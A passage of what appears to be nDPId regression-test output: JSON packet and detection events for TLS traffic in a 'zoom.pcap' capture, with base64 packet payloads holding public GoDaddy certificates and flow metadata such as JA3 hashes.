FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxGjAYBgNVBAoTEUdvRGFkZHkuY29tLCBJbmMuMS0wKwYDVQQLEyRodHRwOi8vY2VydHMuZ29kYWRkeS5jb20vcmVwb3NpdG9yeS8xMzAxBgNVBAMTKkdvIERhZGR5IFNlY3VyZSBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALngyxDUr3a91JNi6zBkuIEIbMME2WIXji\/\/PmXPj85i5jxSHNoWRUtVq3hrY4NikM4PaWyZyBoUi0zMRTPqiNyeo68r\/oBhnXlXxM8u9D8wPF1H\/JoWvMM3lkFRjhFLVPgovtCMvvAwOB7zsCb4Zkdjbd5xJkePOEdT0UYdtOPcAOpFrL28cdmqbwDb280wOnlPX0xH+B3vW8LEnWA7sbJDkdikM07qs9YnT60liqXG9NXQpq50BWRXiLVEVdQtKjo++Li96TIKApRkxBY6UPFKrud5M68MIAd\/6N8EOcJpAmxjUvp3wRvIdIfIuZMYUFQ1S2lOvDvTSS4f3MHSUvsCAwEAAaOCARowggEWMA8GA1UdEwEB\/wQFMAMBAf8wDgYDVR0PAQH\/BAQDAgEGMB0GA1UdDgQWBBRAwr0njsw0gzCiM9f7bLPwtCyAzjAfBgNVHSMEGDAWgBQ6moUHEGcotu\/2vQVBbiDBlNoP3jA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmdvZGFkZHkuY29tLzA1BgNVHR8ELjAsMCqgKKAmhiRodHRwOi8vY3JsLmdvZGFkZHkuY29tL2dkcm9vdC1nMi5jcmwwRgYDVR0gBD8wPTA7BgRVHSAAMDMwMQYIKwYBBQUHAgEWJWh0dHBzOi8vY2VydHMuZ29kYWRkeS5jb20vcmVwb3NpdG9yeS8wDQYJKoZIhvcNAQELBQADggEBAAh+bJMQyDi4lqmQS\/+hX08E72w+nIgGyVCPpnP3VzEbvrzkL9v4utNb4LTn5nliDgyi12pjczG19ahIpDsILaJdkNe0fCVPEVYwxLZEnXssneVe5u8MYaq\/5Cob7oSeuIN9wUPORKcTcA2R"} +00422{"flow_id":26,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":197,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":822308,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGEyvAqAF11ROQaNZUAbsLvIvhw8JjqYAQD9IWCgAAAQEICiWc4M97WhBo"} +02075{"flow_id":26,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":198,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":822395,"pkt_caplen":1282,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1282,"pkt_l4_len":1248,"pkt":"KDc3AG3IEBMx8Tl2CABFAAT0SBFAADAG1lnVE5BowKgBdQG71lTDwmOpC7yL4YAYAAsHYwAAAQEICntaEGglnOCvH\/TIE62DYNnYcqhzJB61rCIOyheJYlhEG6uJJQEAD83EG2LbUbTTD1Eqm\/S8c\/x2zjakzdnYLOqum\/UqspDRTXUYij+KQZAjfVtL\/qQDWJtGssNgYIP4fVBBzsKhkMO77wIv0hVU7kQV2Qqup4oz7bEtdjYm3ATrn\/dhHxXch2\/uRpYoraEmfQoJpy4Eo428+LwEMAEABIEwggR9MIIDZaADAgECAgMb5xUwDQYJKoZIhvcNAQELBQAwYzELMAkGA1UEBhMCVVMxITAfBgNVBAoTGFRoZSBHbyBEYWRkeSBHcm91cCwgSW5jLjExMC8GA1UECxMoR28gRGFkZHkgQ2xhc3MgMiBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0xNDAxMDEwNzAwMDBaFw0zMTA1MzAwNzAwMDBaMIGDMQswCQYDVQQGEwJVUzEQMA4GA1UECBMHQXJpem9uYTETMBEGA1UEBxMKU2NvdHRzZGFsZTEaMBgGA1UEChMRR29EYWRkeS5jb20sIEluYy4xMTAvBgNVBAMTKEdvIERhZGR5IFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IC0gRzIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC\/cWII8fpZNPcbyRij94BJWOkigxOmxSBDATuE8eaFSZ8n6vaEG06gtNtwmMcyAbEFPgdO7vT6Ty9ZMCLnqxlWa+KAB\/zzFnWAOVF75fk1tnROqY2CE+S2P6kDg\/qivooVan\/eC8O2GRQFyurDqASUO0Z8Mg3zAGYiyI1pbTaMERi307IcYLQ4+gKMztPdRgfeCj7rXXzIfPuwK1OkkmJpUSUFYRpEgYwsqUOWI9+sOoGaDinFHKnpXR62np4wCjnO8YiA+0tdzDLshWJDJTQCVicBkbQ7cCo\/brHonIgBfZ\/U+dtTbWCdvyznWKu4X0b8zsQbAzwJ60kxXGlGs+BHAgMBAAGjggEXMIIBEzAPBgNVHRMBAf8EBTADAQH\/MA4GA1UdDwEB\/wQEAwIBBjAdBgNVHQ4EFgQUOpqFBxBnKLbv9r0FQW4gwZTaD94wHwYDVR0jBBgwFoAU0sSw0pHUTBFxs2HLPaH+3ahq1OMwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5nb2RhZGR5LmNvbS8wMgYDVR0fBCswKTAnoCWgI4YhaHR0cDovL2NybC5nb2RhZGR5LmNvbS9nZHJvb3QuY3JsMEYGA1UdIAQ\/MD0wOwYEVR0gADAzMDEGCCsGAQUFBwIBFiVodHRwczovL2NlcnRzLmdvZGFkZHkuY29tL3JlcG9zaXRvcnkvMA0GCSqGSIb3DQEBCwUAA4IBAQBZC1O9koYRpyR77Vsxzx0fbHDFuG6+Trv2vpdQ4TB\/uihcYpTC434z9\/tCdoXblRyMIlh1CQyIZWc5ChYJxaA4l6TFI5M\/tBimAQZEkeOnaSe0WiV\/Orcyzd2E\/yo4KTOk3Weyhf6hiCAcUInI3Cr2QgM3TOaI39WvJPKxw9\/MtezgmV63SVQgPJQYDMccUhhJpG3hs1gLydjs2a4cMo4ocA3i\/qYXng=="} +00423{"flow_id":26,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":199,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":822425,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGEyvAqAF11ROQaNZUAbsLvIvhw8JoaYAQD6wRcAAAAQEICiWc4M97WhBo"} +02367{"flow_id":27,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":200,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":822639,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUUEZAADMGzXbV9IxVwKgBdQG71lXIKmM96vs4TYAQAAvWbAAAAQEICniDA4olnOCyhA+9V3CzWukfoIZTu+98\/2kL4EjDt5MLyApUxKxdFGc3bMqlLzEIN6pub4y8m+JXXSSBr5eXnIStbKw3TGbzYZERIOS+MJ96pCkJsOE0X2R3GEBR34wwpq8ABAQwggQAMIIC6KADAgECAgEAMA0GCSqGSIb3DQEBBQUAMGMxCzAJBgNVBAYTAlVTMSEwHwYDVQQKExhUaGUgR28gRGFkZHkgR3JvdXAsIEluYy4xMTAvBgNVBAsTKEdvIERhZGR5IENsYXNzIDIgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDQwNjI5MTcwNjIwWhcNMzQwNjI5MTcwNjIwWjBjMQswCQYDVQQGEwJVUzEhMB8GA1UEChMYVGhlIEdvIERhZGR5IEdyb3VwLCBJbmMuMTEwLwYDVQQLEyhHbyBEYWRkeSBDbGFzcyAyIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKCAQEA3p3X6lcYSaFb69dfSIbqvt3\/5O9nHPRlaLNXcaBed7vtm0npcIA9VhhjCG\/a8szQP38CVCJUENiygdTAdT1Lf8d3wz54qxoDtSBrL2orscWIfsS7HrDB2EUnb6o3WPeHJtfYLfapF7cfcjZOphc\/ZZiS2ypuXaL+iOAL3n\/ljRXh68s61eISohMt2I6vXxI9oAgFCLZcpWU4BEWZHqNgYHTFQaVyYhtixR9vXxpCvgJRZaiuIxhq\/HgDqU1\/gMP6q1r8oUCkyhkW\/rLI715zDe53vZr2eZi8sQdnohUN3aBYxkR7Cj5iKF+6QQdTWM8Rfjh0xfj\/tWmQj4R06pcbrwIBA6OBwDCBvTAdBgNVHQ4EFgQU0sSw0pHUTBFxs2HLPaH+3ahq1OMwgY0GA1UdIwSBhTCBgoAU0sSw0pHUTBFxs2HLPaH+3ahq1OOhZ6RlMGMxCzAJBgNVBAYTAlVTMSEwHwYDVQQKExhUaGUgR28gRGFkZHkgR3JvdXAsIEluYy4xMTAvBgNVBAsTKEdvIERhZGR5IENsYXNzIDIgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHmCAQAwDAYDVR0TBAUwAwEB\/zANBgkqhkiG9w0BAQUFAAOCAQEAMkvzsso+kfwSxqEHjI53oDMGFFyQHhj3CKY9Chn5h4ARbmnklhcw\/zSRY3I47swcAaMdlCikMfZ6xFTX9uUxWAOizM5i25RFc7W\/RckktdWCAq0jeWmNuLZNzs9MyjMj6ByIqp2LQW4WySDliZ7NO9pw936ZJiAUVCWrbnOF5pshnQpsgg6o+MIM+hAebJbvhw3ED2GLre6DK5X4jpKEcjnrIOqD7YPNl24IvOtOJrZzK+TT9kz+JnHiYRF0Sv9XGocPdUguz1FpF6ACEmGV1dFAshBM7sSsEEOmpZ4K1ZVimg3PiILFMgzkK59F5g2fKJyxuSpaV603D68df9u9nxYDAwFNDAABSQMAF0EEssQWqaKUCLZtBO06gLRpO81eoXzv046cvGa\/AEOknXhgdhB6KQ43TFEHxzvaNMUJxHfj1819WT4ZuulUCc917gYBAQCU5IOxfp9zgODP7nVlPQ89ZtndcWd7O\/q+m4sw7LjYdI5U9FW5Uy\/bi8JfjLoFzl3cauw3JSn+KUOFKpRLlsFAN4egm3WfxDHfAa2IhQ2EpjaSD\/izQIo6pZFYzprveYSkRGVKh2Yr3\/z3fe5gkhvI4pNN9VplmJFzJqLxySsBlqr47N9YTNTO60cv9bVxAlbR2sPiQs8SwjP1gwcjMUblGdqI374OrYnqicsiTeqpVOds6hUrFV3tb8PnVms1Al5uMMyCzKvPp3GV+QAIMFRUjXSRr+mOAVb2tm3W4wni1cEioxDo+62VbbdPP4\/b"} +01144{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":200,"source":"zoom.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":11,"flow_first_seen":1569520470769,"flow_last_seen":1569520470822,"flow_tot_l4_data_len":6425,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":584,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"213.244.140.85","src_port":54869,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Zoom","breed":"Acceptable","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"zoomfr85zc.zoom.us","server_names":"*.zoom.us,zoom.us","ja3":"c51de225944b7d58d48c0f99f86ba8e6","ja3s":"ada793d0f02b028a6c840504edccb652","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, ST=Arizona, L=Scottsdale, O=GoDaddy.com, Inc., OU=http:\/\/certs.godaddy.com\/repository\/, CN=Go Daddy Secure Certificate Authority - G2","issuerDN":"OU=Domain Control Validated, CN=*.zoom.us","fingerprint":"F7:5A:83:A8:77:24:55:D7:6D:2E:93:F6:6E:9C:C9:7E:AD:9B:3B:E8"}} +00459{"flow_id":27,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":201,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":822641,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"KDc3AG3IEBMx8Tl2CABFAABPUEdAADMG0vrV9IxVwKgBdQG71lXIKmjd6vs4TYAYAAvT3AAAAQEICniDA4olnOCy2n6APecxq67HquzeAJkvreAOFgMDAAQOAAAA"} +00423{"flow_id":27,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":202,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":822672,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGFl3AqAF11fSMVdZVAbvq+zhNyCpo+IAQD9KTjQAAAQEICiWc4M94gwOK"} +00422{"flow_id":28,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":203,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":826162,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0+NxAADMGKoHV9IxUwKgBdQG71lYtiv8V+ewU7IAQAAuz6AAAAQEICny1B8olnOC8"} +02364{"flow_id":28,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":204,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":828021,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXU+N1AADMGJODV9IxUwKgBdQG71lYtiv8V+ewU7IAQAAtoZQAAAQEICny1B8slnOC8FgMDAEICAAA+AwOFhC5e91d4jQYKpWVSzHr7Zi6LCxz8qqdKI+lt8VevAgDALwAAFv8BAAEAAAsABAMAAQIAIwAAAA8AAQEWAwMUFAsAFBAAFA0ABqgwggakMIIFjKADAgECAgkAuAr5aaJJsgcwDQYJKoZIhvcNAQELBQAwgbQxCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMRowGAYDVQQKExFHb0RhZGR5LmNvbSwgSW5jLjEtMCsGA1UECxMkaHR0cDovL2NlcnRzLmdvZGFkZHkuY29tL3JlcG9zaXRvcnkvMTMwMQYDVQQDEypHbyBEYWRkeSBTZWN1cmUgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IC0gRzIwHhcNMTkwMzI1MTkzODQyWhcNMjEwMzI1MTkzODQyWjA3MSEwHwYDVQQLExhEb21haW4gQ29udHJvbCBWYWxpZGF0ZWQxEjAQBgNVBAMMCSouem9vbS51czCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALaxfGmkVOyU0AkAAY7kCiG99jBGIh+VdDOgabIxgZ7wT8ILDqU2MftFgTalkBtnlix1nB\/A23lZT3vWYLmdiArSXVZkjjpjHARBVVYAUir7OAher\/0qd4RZHsRK0bdRd40NdKuLb6he5TPeCPCo8mDuK41gZM9CkQPeJav\/RaowvfOtYiwp3Pt5JvpmmLCPkYu++RhH8LKfsuAhqv9m2xv6wau3C0G\/6Ce0z3s3aPbA6HK2Vctbrn12ZNiektUI25iSiJW21\/fYcY723x0hBp7tRPZNdMSHZ3e4QkzjXfUGyEK\/6tGaySEj+yvSYd5DUN0izEz+KBtCx95g0jp0b9MCAwEAAaOCAzMwggMvMAwGA1UdEwEB\/wQCMAAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMA4GA1UdDwEB\/wQEAwIFoDA4BgNVHR8EMTAvMC2gK6AphidodHRwOi8vY3JsLmdvZGFkZHkuY29tL2dkaWcyczEtMTAxMS5jcmwwXQYDVR0gBFYwVDBIBgtghkgBhv1tAQcXATA5MDcGCCsGAQUFBwIBFitodHRwOi8vY2VydGlmaWNhdGVzLmdvZGFkZHkuY29tL3JlcG9zaXRvcnkvMAgGBmeBDAECATB2BggrBgEFBQcBAQRqMGgwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmdvZGFkZHkuY29tLzBABggrBgEFBQcwAoY0aHR0cDovL2NlcnRpZmljYXRlcy5nb2RhZGR5LmNvbS9yZXBvc2l0b3J5L2dkaWcyLmNydDAfBgNVHSMEGDAWgBRAwr0njsw0gzCiM9f7bLPwtCyAzjAdBgNVHREEFjAUggkqLnpvb20udXOCB3pvb20udXMwHQYDVR0OBBYEFK\/\/A+eqHnVNBj7T3SSRE7i2ztfYMIIBfgYKKwYBBAHWeQIEAgSCAW4EggFqAWgAdgCkuQmQtBhYFIe7E6LMZ3AKPDWYBPkb37jjd80OyA3cEAAAAWm2XMJ0AAAEAwBHMEUCIGBxi3tQD8E7\/i5SW3PuSOWOtMDrbmlOuAQU+VSegUXXAiEAt51T+DldjWi8Ekq43+cZhUTmCceC5bgqC3HWUayeaD4AdgDuS723dc5guuFCaR+r4Z5mow9+X7By2IMAxHuJeqj9ywAAAWm2XMTxAAAEAwBHMEUCICiEIvES2m58Hqrdk1z6D\/VDBAWPZ6\/7XLmd4JXWkmvGAiEArZspf5lv\/3TS1cYqMEKKiFMPCaUjl39XIpCCbPMANBQAdgBElGUusO7Or8RAB9io\/ijA2uaCvtjLMbU\/0zOWtbaBqAAAAWm2XMe5AAAE"} +00820{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":204,"source":"zoom.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":6,"flow_first_seen":1569520470776,"flow_last_seen":1569520470828,"flow_tot_l4_data_len":2169,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":361,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.117","dst_ip":"213.244.140.84","src_port":54870,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Zoom","breed":"Acceptable","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"zoomfr84zc.zoom.us","ja3":"c51de225944b7d58d48c0f99f86ba8e6","ja3s":"ada793d0f02b028a6c840504edccb652","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256"}} +02362{"flow_id":28,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":205,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":828392,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXU+N5AADMGJN\/V9IxUwKgBdQG71lYtiwS1+ewU7IAQAAv6hgAAAQEICny1B8slnOC8AwBHMEUCICZBrYK+GGtVSdHk3b8VHsrDm6ajQ58z1O7BdEqHCXy2AiEAn6AYWb8PmQ7IhYNbHgI4gCM37GT4YnU97JyydhHs6SgwDQYJKoZIhvcNAQELBQADggEBALm3XxvmAxG3IkUdHT+Kg3Gdme1zrqEBmMm7KerxSo04mAO+wqNE7BtmMlulaHZ9Z4syCloedM1x96JrQ3t0boruQAhnOlvnmvFBfuohu9oncLnbTmv+52y6PnzVcU36zE+9\/mBRQN8g25Xi29P9pwEzguCY+ecBRzTK6h0Sl4TFrkhzrUqGeILBakJ5CWRPYRg+OU6qgFVG7kNWeqzV1lmJl0epG3dO3baTSwN2+1BadUhLIZWqpLM\/GrxissNVMDfzR5peJgNvGg7VI37Xda5xV4mPfc+vCRUICOcuM\/U9dzPYTXUnypGEFSXOhiu1g4jB4DBHpmqaaQxhC2IlsOwABNQwggTQMIIDuKADAgECAgEHMA0GCSqGSIb3DQEBCwUAMIGDMQswCQYDVQQGEwJVUzEQMA4GA1UECBMHQXJpem9uYTETMBEGA1UEBxMKU2NvdHRzZGFsZTEaMBgGA1UEChMRR29EYWRkeS5jb20sIEluYy4xMTAvBgNVBAMTKEdvIERhZGR5IFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IC0gRzIwHhcNMTEwNTAzMDcwMDAwWhcNMzEwNTAzMDcwMDAwWjCBtDELMAkGA1UEBhMCVVMxEDAOBgNVBAgTB0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxGjAYBgNVBAoTEUdvRGFkZHkuY29tLCBJbmMuMS0wKwYDVQQLEyRodHRwOi8vY2VydHMuZ29kYWRkeS5jb20vcmVwb3NpdG9yeS8xMzAxBgNVBAMTKkdvIERhZGR5IFNlY3VyZSBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALngyxDUr3a91JNi6zBkuIEIbMME2WIXji\/\/PmXPj85i5jxSHNoWRUtVq3hrY4NikM4PaWyZyBoUi0zMRTPqiNyeo68r\/oBhnXlXxM8u9D8wPF1H\/JoWvMM3lkFRjhFLVPgovtCMvvAwOB7zsCb4Zkdjbd5xJkePOEdT0UYdtOPcAOpFrL28cdmqbwDb280wOnlPX0xH+B3vW8LEnWA7sbJDkdikM07qs9YnT60liqXG9NXQpq50BWRXiLVEVdQtKjo++Li96TIKApRkxBY6UPFKrud5M68MIAd\/6N8EOcJpAmxjUvp3wRvIdIfIuZMYUFQ1S2lOvDvTSS4f3MHSUvsCAwEAAaOCARowggEWMA8GA1UdEwEB\/wQFMAMBAf8wDgYDVR0PAQH\/BAQDAgEGMB0GA1UdDgQWBBRAwr0njsw0gzCiM9f7bLPwtCyAzjAfBgNVHSMEGDAWgBQ6moUHEGcotu\/2vQVBbiDBlNoP3jA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmdvZGFkZHkuY29tLzA1BgNVHR8ELjAsMCqgKKAmhiRodHRwOi8vY3JsLmdvZGFkZHkuY29tL2dkcm9vdC1nMi5jcmwwRgYDVR0gBD8wPTA7BgRVHSAAMDMwMQYIKwYBBQUHAgEWJWh0dHBzOi8vY2VydHMuZ29kYWRkeS5jb20vcmVwb3NpdG9yeS8wDQYJKoZIhvcNAQELBQADggEBAAh+bJMQyDi4lqmQS\/+hX08E72w+nIgGyVCPpnP3VzEbvrzkL9v4utNb4LTn5nliDgyi12pjczG19ahIpDsILaJdkNe0fCVPEVYwxLZEnXssneVe5u8MYaq\/5Cob7oSeuIN9wUPORKcTcA2R"} +00422{"flow_id":28,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":206,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":828440,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGFl7AqAF11fSMVNZWAbv57BTsLYsKVYAQD9KYyAAAAQEICiWc4NR8tQfL"} +02075{"flow_id":28,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":207,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":828514,"pkt_caplen":1282,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1282,"pkt_l4_len":1248,"pkt":"KDc3AG3IEBMx8Tl2CABFAAT0+N9AADMGJb7V9IxUwKgBdQG71lYtiwpV+ewU7IAYAAuKGQAAAQEICny1B8slnOC8H\/TIE62DYNnYcqhzJB61rCIOyheJYlhEG6uJJQEAD83EG2LbUbTTD1Eqm\/S8c\/x2zjakzdnYLOqum\/UqspDRTXUYij+KQZAjfVtL\/qQDWJtGssNgYIP4fVBBzsKhkMO77wIv0hVU7kQV2Qqup4oz7bEtdjYm3ATrn\/dhHxXch2\/uRpYoraEmfQoJpy4Eo428+LwEMAEABIEwggR9MIIDZaADAgECAgMb5xUwDQYJKoZIhvcNAQELBQAwYzELMAkGA1UEBhMCVVMxITAfBgNVBAoTGFRoZSBHbyBEYWRkeSBHcm91cCwgSW5jLjExMC8GA1UECxMoR28gRGFkZHkgQ2xhc3MgMiBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0xNDAxMDEwNzAwMDBaFw0zMTA1MzAwNzAwMDBaMIGDMQswCQYDVQQGEwJVUzEQMA4GA1UECBMHQXJpem9uYTETMBEGA1UEBxMKU2NvdHRzZGFsZTEaMBgGA1UEChMRR29EYWRkeS5jb20sIEluYy4xMTAvBgNVBAMTKEdvIERhZGR5IFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IC0gRzIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC\/cWII8fpZNPcbyRij94BJWOkigxOmxSBDATuE8eaFSZ8n6vaEG06gtNtwmMcyAbEFPgdO7vT6Ty9ZMCLnqxlWa+KAB\/zzFnWAOVF75fk1tnROqY2CE+S2P6kDg\/qivooVan\/eC8O2GRQFyurDqASUO0Z8Mg3zAGYiyI1pbTaMERi307IcYLQ4+gKMztPdRgfeCj7rXXzIfPuwK1OkkmJpUSUFYRpEgYwsqUOWI9+sOoGaDinFHKnpXR62np4wCjnO8YiA+0tdzDLshWJDJTQCVicBkbQ7cCo\/brHonIgBfZ\/U+dtTbWCdvyznWKu4X0b8zsQbAzwJ60kxXGlGs+BHAgMBAAGjggEXMIIBEzAPBgNVHRMBAf8EBTADAQH\/MA4GA1UdDwEB\/wQEAwIBBjAdBgNVHQ4EFgQUOpqFBxBnKLbv9r0FQW4gwZTaD94wHwYDVR0jBBgwFoAU0sSw0pHUTBFxs2HLPaH+3ahq1OMwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5nb2RhZGR5LmNvbS8wMgYDVR0fBCswKTAnoCWgI4YhaHR0cDovL2NybC5nb2RhZGR5LmNvbS9nZHJvb3QuY3JsMEYGA1UdIAQ\/MD0wOwYEVR0gADAzMDEGCCsGAQUFBwIBFiVodHRwczovL2NlcnRzLmdvZGFkZHkuY29tL3JlcG9zaXRvcnkvMA0GCSqGSIb3DQEBCwUAA4IBAQBZC1O9koYRpyR77Vsxzx0fbHDFuG6+Trv2vpdQ4TB\/uihcYpTC434z9\/tCdoXblRyMIlh1CQyIZWc5ChYJxaA4l6TFI5M\/tBimAQZEkeOnaSe0WiV\/Orcyzd2E\/yo4KTOk3Weyhf6hiCAcUInI3Cr2QgM3TOaI39WvJPKxw9\/MtezgmV63SVQgPJQYDMccUhhJpG3hs1gLydjs2a4cMo4ocA3i\/qYXng=="} +00423{"flow_id":28,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":208,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":828543,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGFl7AqAF11fSMVNZWAbv57BTsLYsPFYAQD6yULgAAAQEICiWc4NR8tQfL"} +02370{"flow_id":26,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":209,"source":"zoom.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569520470,"pkt_ts_usec":829736,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUSBJAADAG1XjVE5BowKgBdQG71lTDwmhpC7yL4YAQAAvzwAAAAQEICntaEHElnOCvhA+9V3CzWukfoIZTu+98\/2kL4EjDt5MLyApUxKxdFGc3bMqlLzEIN6pub4y8m+JXXSSBr5eXnIStbKw3TGbzYZERIOS+MJ96pCkJsOE0X2R3GEBR34wwpq8ABAQwggQAMIIC6KADAgECAgEAMA0GCSqGSIb3DQEBBQUAMGMxCzAJBgNVBAYTAlVTMSEwHwYDVQQKExhUaGUgR28gRGFkZHkgR3JvdXAsIEluYy4xMTAvBgNVBAsTKEdvIERhZGR5IENsYXNzIDIgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDQwNjI5MTcwNjIwWhcNMzQwNjI5MTcwNjIwWjBjMQswCQYDVQQGEwJVUzEh